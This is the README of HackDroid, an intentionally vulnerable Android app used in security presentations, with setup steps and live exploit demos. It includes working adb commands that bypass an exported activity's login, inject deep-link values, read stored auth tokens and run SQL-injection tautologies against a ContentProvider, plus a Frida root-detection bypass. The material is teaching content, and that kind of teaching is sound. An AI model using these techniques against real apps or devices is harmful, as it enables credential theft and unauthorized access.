Skip to content

jacksonfdam/hackdroid

Repository files navigation

HackDroid πŸ”“

An intentionally vulnerable Android app for security presentations.

Built to demonstrate real Android vulnerabilities live on stage. Every screen has a "How to Hack" and "How to Protect" section.

⚠️ WARNING

This app is intentionally insecure. Never install on a production device or use with real credentials. For educational/demo purposes ONLY.


Screenshots

HackDroid β€” all 6 screens overview

Home Β  Vulnerabilities Β  Vuln Detail β€” HOW TO HACK / HOW TO PROTECT Β  Exploit Lab β€” live terminal Β  Defense Guide Β  Toolkit


What's Inside

# Vulnerability Severity Live Demo
1 Exported Components πŸ”΄ CRITICAL adb shell am start -n com.hackdroid.demo/.vulns.AdminActivity
2 Deep Links 🟠 HIGH adb shell am start -a VIEW -d "hackdroid://transfer?amount=9999&to=attacker"
3 WebViews / JS Bridge 🟠 HIGH Load webview_demo.html in the WebView demo
4 Insecure Storage 🟑 MEDIUM adb shell run-as com.hackdroid.demo cat /data/data/com.hackdroid.demo/shared_prefs/auth_prefs.xml
5 SQL Injection 🟑 MEDIUM adb shell content query --uri content://com.hackdroid.demo.provider/users --where "1=1"
6 Reverse Engineering βšͺ LOW jadx -d out/ app.apk
7 Broadcast Receivers βšͺ LOW adb shell am broadcast -a com.hackdroid.RESET_AUTH

Setup

Prerequisites

  • Android Studio Hedgehog or newer
  • Android device or emulator (rooted recommended for full demo)
  • ADB installed and on PATH
  • Java 17+

Install & Run

git clone https://github.com/jacksonfdam/hackdroid
cd hackdroid
./gradlew assembleDebug
adb install app/build/outputs/apk/debug/app-debug.apk

Enable ADB on device

  1. Settings β†’ About Phone β†’ tap "Build Number" 7 times
  2. Settings β†’ Developer Options β†’ Enable USB Debugging
  3. adb devices β€” confirm device listed

Exploit Demos

Demo 1 β€” Bypass Exported Activity

adb shell am start -n com.hackdroid.demo/.vulns.AdminActivity

Expected: Admin panel opens without any login screen.

Demo 2 β€” Deep Link Injection

adb shell am start -a android.intent.action.VIEW \
  -d "hackdroid://transfer?amount=9999&to=attacker"

Expected: Transfer screen shows attacker-controlled values with no validation.

Demo 3 β€” Read Insecure Storage

# No root required β€” works on any debug APK
adb shell run-as com.hackdroid.demo \
  cat /data/data/com.hackdroid.demo/shared_prefs/auth_prefs.xml

# Alternative: copy to sdcard, then pull
adb shell run-as com.hackdroid.demo \
  cp /data/data/com.hackdroid.demo/shared_prefs/auth_prefs.xml /sdcard/auth_prefs.xml
adb pull /sdcard/auth_prefs.xml && cat auth_prefs.xml

Expected: Auth token, email, and session ID visible in plain XML.

Why run-as instead of adb pull? Direct adb pull of /data/data/ requires root. run-as works on any debug build without root β€” making this a real-world attack, not just a rooted-device demo.

Demo 4 β€” SQL Injection via ContentProvider

# Simplest β€” no shell-quoting issues
adb shell content query \
  --uri content://com.hackdroid.demo.provider/users \
  --where "1=1"

# Classic tautology payload (inner double-quotes must be escaped for the remote shell)
adb shell content query \
  --uri content://com.hackdroid.demo.provider/users \
  --where "\"name='x' OR '1'='1'\""

Expected: All user rows returned including plaintext tokens.

Shell quoting note: adb shell passes arguments to the device shell, so --where values containing spaces and single quotes need an extra layer of quoting. 1=1 is the easiest demo payload β€” still a valid SQL injection tautology.

Demo 5 β€” Exported Broadcast Receiver

adb shell am broadcast -a com.hackdroid.RESET_AUTH

Expected: App shows Toast "⚠ Auth state cleared via broadcast!" and all SharedPreferences are wiped.

Demo 6 β€” Exported Service (Logcat leak)

adb shell am startservice -n com.hackdroid.demo/.vulns.LeakyService
adb logcat | grep HackDroid_LEAK

Expected: Session token, email, and API key printed to Logcat.

Demo 7 β€” WebView JS Bridge

Open Vulns β†’ WebViews / JS Bridge β†’ Run Demo Exploit β†’ use the buttons in the WebView page.

Demo 8 β€” Frida Root Bypass

frida -U -f com.hackdroid.demo --no-pause \
  -l app/src/main/assets/frida_scripts/bypass_root_detection.js

Expected: [HackDroid] βœ“ Root detection bypassed β€” all checks return false


Tools Used

Tool Purpose Install
ADB Device communication Android Platform Tools
Frida Runtime hooks pip install frida-tools
JADX APK decompiler brew install jadx
Burp Suite Traffic intercept portswigger.net
MobSF Auto scanner docker run -it opensecurity/mobile-security-framework-mobsf

Project Structure

app/src/main/
β”œβ”€β”€ java/com/hackdroid/demo/
β”‚   β”œβ”€β”€ MainActivity.kt
β”‚   β”œβ”€β”€ data/
β”‚   β”‚   └── VulnerabilityData.kt
β”‚   β”œβ”€β”€ navigation/
β”‚   β”‚   └── AppNavigation.kt
β”‚   β”œβ”€β”€ security/
β”‚   β”‚   └── RootChecker.kt          ← Hooked by Frida demo
β”‚   β”œβ”€β”€ ui/
β”‚   β”‚   β”œβ”€β”€ theme/
β”‚   β”‚   β”‚   β”œβ”€β”€ Color.kt
β”‚   β”‚   β”‚   β”œβ”€β”€ Type.kt
β”‚   β”‚   β”‚   └── Theme.kt
β”‚   β”‚   └── screens/
β”‚   β”‚       β”œβ”€β”€ HomeScreen.kt
β”‚   β”‚       β”œβ”€β”€ VulnListScreen.kt
β”‚   β”‚       β”œβ”€β”€ VulnDetailScreen.kt
β”‚   β”‚       β”œβ”€β”€ ExploitLabScreen.kt
β”‚   β”‚       β”œβ”€β”€ DefenseGuideScreen.kt
β”‚   β”‚       β”œβ”€β”€ ToolkitScreen.kt
β”‚   β”‚       └── DemoScreens.kt
β”‚   β”œβ”€β”€ viewmodel/
β”‚   β”‚   └── HackDroidViewModel.kt
β”‚   └── vulns/
β”‚       β”œβ”€β”€ AdminActivity.kt         ← CRITICAL: exported, no auth
β”‚       β”œβ”€β”€ DeepLinkActivity.kt      ← HIGH: unvalidated params
β”‚       β”œβ”€β”€ LeakyService.kt          ← HIGH: logs secrets to Logcat
β”‚       β”œβ”€β”€ AuthResetReceiver.kt     ← LOW: exported broadcast
β”‚       β”œβ”€β”€ VulnerableContentProvider.kt ← MEDIUM: SQL injection
β”‚       β”œβ”€β”€ InsecureStorageActivity.kt   ← MEDIUM: plain SharedPrefs
β”‚       └── WebViewDemoActivity.kt       ← HIGH: JS bridge exploit
β”œβ”€β”€ assets/
β”‚   β”œβ”€β”€ webview_demo.html
β”‚   └── frida_scripts/
β”‚       β”œβ”€β”€ bypass_root_detection.js
β”‚       β”œβ”€β”€ bypass_ssl_pinning.js
β”‚       └── dump_strings.js
└── AndroidManifest.xml

Presenter Notes

Each screen in the app maps directly to a slide in your presentation:

Screen Vuln Live Demo Command
Exploit Lab β†’ Bypass Exported Activity Exported Components Demo 1
Exploit Lab β†’ Deep Link Injection Deep Links Demo 2
Exploit Lab β†’ Read SharedPreferences Insecure Storage Demo 3
Vuln Detail β†’ SQL Injection SQL Injection Demo 4
Broadcast Receivers (ADB) Broadcast Receivers Demo 5
WebView Demo WebViews Demo 7
Exploit Lab β†’ Frida Hook Reverse Engineering Demo 8

License

MIT β€” for educational use only. The authors are not responsible for misuse.